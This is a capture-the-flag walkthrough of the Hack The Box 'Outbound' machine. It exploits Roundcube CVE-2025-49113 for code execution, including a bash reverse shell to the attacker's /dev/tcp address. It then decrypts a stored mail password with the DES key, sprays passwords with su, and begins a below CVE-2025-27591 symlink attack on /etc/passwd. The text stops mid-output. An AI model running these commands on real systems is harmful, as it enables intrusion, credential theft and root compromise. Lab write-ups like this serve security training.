Outbound is an easy-difficulty Linux machine with provided assumed breach credentials. The credentials provide access to a Roundcube instance, where the user can enumerate the version and utilize CVE-2025-49113, which demonstrates post-authenticated remote code execution via PHP object deserialization. After initial access to the target, we enumerate the database and find a session for the Jacob user, which, when base64 decoded, provides an encrypted password. Using an internal tool called decrypt.sh, we can extract the plaintext value of the password, which allows access to Roundcube as Jacob. Jacob has two messages in his inbox: one provides him with a new, updated password for the system, and another informs him that they have been granted sudo privileges to monitor system resources with a utility called below which is vulnerable to CVE-2025-27591 that is a flaw that creates logs within the /var/log/below directory with excessive permissions allowing attackers to perform symlink attacks under certain conditions. We symlink /etc/passwd to the error_root.log file and write our payload to the log file via parameter injection, thereby creating a new user with a UID of the root user.
Recon
Hosts
pt command is a custom pentest framework to manage hosts and variables, it is not required to reproduce the steps in this writeup
1
2
3
4
5
6
7
8
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound]
└─$ pt init '10.129.104.254 mail.outbound.htb outbound.htb'
+----------+--------+----------------+-------------------+
| PROFILE | STATUS | IP | DOMAIN |
+----------+--------+----------------+-------------------+
| outbound | on | 10.129.104.254 | mail.outbound.htb |
| outbound | on | 10.129.104.254 | outbound.htb |
+----------+--------+----------------+-------------------+
|
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Nmap 7.95 scan initiated Fri Jul 11 17:19:09 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, 10.129.104.254
Nmap scan report for 10.129.104.254
Host is up, received user-set (0.19s latency).
Scanned at 2025-07-11 17:19:10 CST for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 11 17:19:23 2025 -- 1 IP address (1 host up) scanned in 13.55 seconds
|
Assumed breach scenario
1
2
3
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound]
└─$ creds-set 'tyler' 'LhKL1o9Nm3X2'
[+] Password set for user tyler
|
80 - HTTP : Roundcube Webmail
Info
1
| http://mail.outbound.htb [200] [Roundcube Webmail :: Welcome to Roundcube Webmail] [nginx/1.24.0 (Ubuntu)] [258b4588d4bc445bb061fc9df8f1c02d5523468f] [Bootstrap,Nginx:1.24.0,PHP,RoundCube,Ubuntu,jQuery,jQuery UI]
|
Directory
1
2
3
4
5
6
7
8
9
10
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound]
└─$ URL="http://$(pt get rhost):80"; OUT="$(echo $URL | awk -F'://' '{print $NF}' | sed -e 's|[/:]|-|g')"; feroxbuster -k -A -w /usr/share/dirb/wordlists/common.txt --collect-words --collect-backups --collect-extensions --scan-dir-listings -C 400,404,500 -r -n -u "$URL" -o "ferox_${OUT}_common.txt"
[...]
200 GET 97l 333w 5345c http://mail.outbound.htb/_vti_bin/shtml.bak
200 GET 97l 333w 5345c http://mail.outbound.htb/_vti_bin/shtml.dll
200 GET 97l 333w 5345c http://mail.outbound.htb/_vti_bin/shtml.dll.bak
200 GET 97l 333w 5345c http://mail.outbound.htb/_vti_bin/._vti_bin.swp
200 GET 97l 333w 5345c http://mail.outbound.htb/_vti_bin/_vti_bin
200 GET 97l 333w 5345c http://mail.outbound.htb/_vti_bin/_vti_bin.bak
200 GET 97l 333w 5345c http://mail.outbound.htb/_vti_bin/_vti_bin.old
|
User Flag
Shell as www-data on container
80 - Roundcube Webmail 1.6.10 : PHP Object Deserialization to RCE (CVE-2025-49113)
After logging in to Roundcube with the credential tyler:LhKL1o9Nm3X2, we can get its version 1.6.10 from about page
http://mail.outbound.htb/
- Google
roundcube webmail 1.6.10 exploit
Research - https://fearsoff.org/research/roundcube
POC - https://github.com/fearsoff-org/CVE-2025-49113
CVE-2025-49113
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
1
2
3
| cd exploit
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113
|
Listen for ICMP packets to validate the exploit
1
| sudo tcpdump -i tun0 -n icmp -v
|
Run exploit to ping our machine from target machine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound/exploit/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://mail.outbound.htb 'tyler' 'LhKL1o9Nm3X2' "ping 10.10.14.65 -c 1"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: tyler
### Authentication successful
### Command to be executed:
ping 10.10.14.65 -c 1
### Injecting payload...
### End payload: http://mail.outbound.htb/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C72%C73%C7%3A%C7%22%C7p%C7i%C7n%C7g%C7+%C71%C70%C7%5C%C72%C7e%C71%C70%C7%5C%C72%C7e%C71%C74%C7%5C%C72%C7e%C76%C75%C7+%C7-%C7c%C7+%C71%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
### Exploit executed successfully
|
- There were no ICMP packets observed by tcpdump
We’ve validated that the exploit works by sending a request to our web server
1
2
3
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound/exploit/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://mail.outbound.htb 'tyler' 'LhKL1o9Nm3X2' "curl 10.10.14.65"
[...]
|
Get a shell
1
2
3
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound/exploit/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://mail.outbound.htb 'tyler' 'LhKL1o9Nm3X2' 'bash -c "bash -i >& /dev/tcp/10.10.14.65/53 0>&1"'
[...]
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound/exploit/CVE-2025-49113]
└─$ nc -lvnp 53
listening on [any] 53 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.105.152] 39690
bash: cannot set terminal process group (248): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/var/www/html/roundcube/public_html$ /usr/bin/script -qc /bin/bash /dev/null
<ublic_html$ /usr/bin/script -qc /bin/bash /dev/null
www-data@mail:/var/www/html/roundcube/public_html$ ^Z
zsh: suspended nc -lvnp 53
┌──(bravosec㉿fsociety)-[~/htb/Outbound/exploit/CVE-2025-49113]
└─$ stty raw -echo;fg
[1] + continued nc -lvnp 53
export TERM=xterm
www-data@mail:/var/www/html/roundcube/public_html$ stty rows 50 columns 209
www-data@mail:/var/www/html/roundcube/public_html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
Shell as tyler on container
Enumeration
- This is a docker container
1
2
3
4
5
| www-data@mail:/var/www/html/roundcube/public_html$ ls -latr /
total 84
[...]
-rwxr-xr-x 1 root root 0 Jun 8 12:26 .dockerenv
[...]
|
1
2
3
4
5
| www-data@mail:/var/www/html/roundcube/public_html$ cat /etc/passwd | grep -viE 'false$|nologin$|sync$'
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bash
|
- No interesting mounts from host
1
2
3
4
| www-data@mail:/var/www/html/roundcube/public_html$ cat /proc/mounts | grep '^/dev'
/dev/sda2 /etc/resolv.conf ext4 rw,relatime 0 0
/dev/sda2 /etc/hostname ext4 rw,relatime 0 0
/dev/sda2 /etc/hosts ext4 rw,relatime 0 0
|
Password spray
1
2
3
4
5
6
| www-data@mail:/var/www/html/roundcube/public_html$ PASS='LhKL1o9Nm3X2'; for USER in $(cat /etc/passwd|grep -viE 'false$|nologin$|sync$'|awk -F: '{print $1}'); do (x=$(echo $PASS | su "$USER" -c whoami); if [ "$x" ]; then echo "[+] $USER"; fi) & done
[1] 21856
[2] 21857
[3] 21858
[4] 21860
www-data@mail:/var/www/html/roundcube/public_html$ Password: Password: Password: Password: [+] tyler
|
1
2
3
4
| www-data@mail:/var/www/html/roundcube/public_html$ su - tyler
Password:
tyler@mail:~$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler)
|
Shell as jacob on container
Discover encrypted user password from roundcube database
- roundcube’s config file is at
/var/www/html/roundcube/config/config.inc.php, which was created by root
1
2
3
4
5
6
| www-data@mail:/var/www/html/roundcube/public_html$ find -L /var/www/html/roundcube/ -type f -exec ls -lahtr {} + 2>/dev/null | grep config -i
[...]
-rw-r--r-- 1 www-data www-data 164 Feb 8 08:47 /var/www/html/roundcube/config/.htaccess
-rw-r--r-- 1 root root 3.0K Jun 6 18:55 /var/www/html/roundcube/config/config.inc.php
-rw-r--r-- 1 www-data www-data 32K Feb 8 08:47 /var/www/html/roundcube/program/lib/Roundcube/rcube_config.php
-rw-r--r-- 1 www-data www-data 51 Feb 8 08:47 /var/www/html/roundcube/vendor/kolab/net_ldap3/.arcconfig
|
- Mysql creds :
roundcube:RCDBPass2025 - DES key to encrypt users imap password :
rcmail-!24ByteDESkey*Str
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| www-data@mail:/var/www/html/roundcube/public_html$ cat /var/www/html/roundcube/config/config.inc.php
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
[...]
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
[...]
|
Connect to mysql database on localhost
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| www-data@mail:/var/www/html/roundcube/public_html$ mysql -u roundcube -p'RCDBPass2025'
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 545
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
2 rows in set (0.001 sec)
|
- There are only 2 none-empty tables in
roundcube database
1
2
3
4
5
6
7
8
| MariaDB [(none)]> SELECT table_name,table_rows FROM information_schema.tables WHERE table_schema = 'roundcube' AND table_rows > 0;
+------------+------------+
| table_name | table_rows |
+------------+------------+
| users | 3 |
| session | 1 |
+------------+------------+
2 rows in set (0.003 sec)
|
- There are no interesting data in
users table
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| MariaDB [(none)]> use roundcube;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-07-14 13:49:41 | 2025-06-11 07:51:22 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
3 rows in set (0.001 sec)
|
There’s a row in session table that contains a base64 data
1
2
3
4
5
| MariaDB [roundcube]> select * from session;
[...]
| sess_id | changed | ip | vars [...]
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
[...]
|
We’ve got the encrypted password : L7Rv00A8TuwJAr67kITxxcSgnIk25Am/ of jacob from the session variable
1
2
3
4
5
6
7
8
9
10
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound]
└─$ echo 'bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7' | base64 -d | tr ';' '\n'
[...]
a:0:{}}user_id|i:1
username|s:5:"jacob"
storage_host|s:9:"localhost"
storage_port|i:143
storage_ssl|b:0
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
[...]
|
Decrypt DES encrypted user password
By researching how roundcube decrypt strings, we’ve found that it uses des_key from the config file and extracts IV (first 8 bytes) from the base64 encoded cipher text which is using DES-EDE3-CBC algorithm, then decrypts the cipher text only
https://github.com/roundcube/roundcubemail/blob/master/program/lib/Roundcube/rcube.php#L943
Let’s copy and modify the decrypt() function to fit our need
decrypt.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| <?php
$key = $argv[1];
$cipher = $argv[2];
function decrypt($cipher, $key = 'des_key', $base64 = true)
{
// @phpstan-ignore-next-line
if (!is_string($cipher) || !strlen($cipher)) {
return false;
}
if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}
$ckey = $key;
$method = 'DES-EDE3-CBC';
$iv_size = openssl_cipher_iv_length($method);
$tag = null;
if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
$tag = $matches[1];
$cipher = substr($cipher, strlen($matches[0]));
}
$iv = substr($cipher, 0, $iv_size);
// session corruption? (#1485970)
if (strlen($iv) < $iv_size) {
return false;
}
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);
return $clear;
}
echo decrypt($cipher, $key)
?>
|
Got the password : 595mO8DmwGeD
1
2
3
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound]
└─$ php decrypt.php 'rcmail-!24ByteDESkey*Str' 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeD
|
Alternative python code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| import sys
from base64 import b64decode
from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES
from cryptography.hazmat.primitives.ciphers import Cipher, modes
from cryptography.hazmat.backends import default_backend
key = sys.argv[1].encode()
data = b64decode(sys.argv[2])
iv, ct = data[:8], data[8:]
cipher = Cipher(TripleDES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
plaintext = decryptor.update(ct) + decryptor.finalize()
print(plaintext.rstrip(b'\x00').decode())
|
Password spray
1
2
3
4
5
6
| tyler@mail:~$ PASS='595mO8DmwGeD'; for USER in $(cat /etc/passwd|grep -viE 'false$|nologin$|sync$'|awk -F: '{print $1}'); do (x=$(echo $PASS | su "$USER" -c whoami); if [ "$x" ]; then echo "[+] $USER"; fi) & done
[1] 28396
[2] 28397
[3] 28399
[4] 28400
tyler@mail:~$ Password: Password: Password: Password: [+] jacob
|
1
2
3
4
| tyler@mail:~$ su - jacob
Password:
jacob@mail:~$ id
uid=1001(jacob) gid=1001(jacob) groups=1001(jacob)
|
Shell as jacob on host
80 - Roundcube Webmail : Password in email
After logging in with the credential jacob:595mO8DmwGeD, we found a new password : gY4Wr3a1evp4 that was applied to jacob’s account
http://mail.outbound.htb/?_task=mail&_mbox=INBOX
(Failed) Password spray
1
2
3
4
5
6
| jacob@mail:~$ PASS='gY4Wr3a1evp4'; for USER in $(cat /etc/passwd|grep -viE 'false$|nologin$|sync$'|awk -F: '{print $1}'); do (x=$(echo $PASS | su "$USER" -c whoami); if [ "$x" ]; then echo "[+] $USER"; fi) & done
[1] 28767
[2] 28768
[3] 28773
[4] 28775
jacob@mail:~$ Password: Password: Password: Password:
|
22 - SSH
1
2
3
4
5
6
7
8
9
| ┌──(bravosec㉿fsociety)-[~/htb/Outbound]
└─$ sshpass -p 'gY4Wr3a1evp4' ssh -o "StrictHostKeyChecking no" jacob@10.129.105.152
Warning: Permanently added '10.129.105.152' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
[...]
jacob@outbound:~$ id
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)
jacob@outbound:~$ cat user.txt
c08b171817fe32c671df37a83040e22f
|
Root Flag
Shell as root
Below v0.9.0 - LPE (CVE-2025-27591)
1
2
3
4
5
6
| jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| jacob@outbound:~$ /usr/bin/below -h
Usage: below [OPTIONS] [COMMAND]
Commands:
live Display live system data (interactive) (default)
record Record local system data (daemon mode)
replay Replay historical data (interactive)
debug Debugging facilities (for development use)
dump Dump historical data into parseable text format
snapshot Create a historical snapshot file for a given time range
help Print this message or the help of the given subcommand(s)
Options:
--config <CONFIG> [default: /etc/below/below.conf]
-d, --debug
-h, --help Print help
|
By googling linux below, we found the tool’s github repo, and there’s a Security risk
https://github.com/facebookincubator/below/security
https://github.com/facebookincubator/below/security/advisories/GHSA-9mc5-7qhg-fp3w
CVE-2025-27591
A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.
Research - https://security.opensuse.org/2025/03/12/below-world-writable-log-dir.html#2-symlink-attack-in-varlogbelowerror_rootlog
There are error logs for separate users, and we can read/write to root’s error log file at /var/log/below/error_root.log, which validated that the version is vulnerable
1
2
3
4
5
6
7
| jacob@outbound:~$ ls -latr /var/log/below
total 16
-rw-rw-rw- 1 jacob jacob 236 Jul 8 20:45 error_jacob.log
drwxr-xr-x 2 root root 4096 Jul 15 00:00 store
drwxrwxr-x 13 root syslog 4096 Jul 15 00:00 ..
-rw-rw-rw- 1 root root 0 Jul 15 05:29 error_root.log
drwxrwxrwx 3 root root 4096 Jul 15 05:29 .
|
We’ve created a symlink to /etc/passwd at /var/log/below/error_root.log
1
| jacob@outbound:~$ ln -sf /etc/passwd /var/log/below/error_root.log
|
Triggered an error as root to write error logs to /var/log/below/error_root.log
1
2
3
4
5
6
| jacob@outbound:~$ sudo below debug dump-store --time 1
Jul 15 05:33:35.589 WARN Expected file does not exist: /var/log/below/store/index_00000000000
Jul 15 05:33:35.593 ERRO
----------------- Detected unclean exit ---------------------
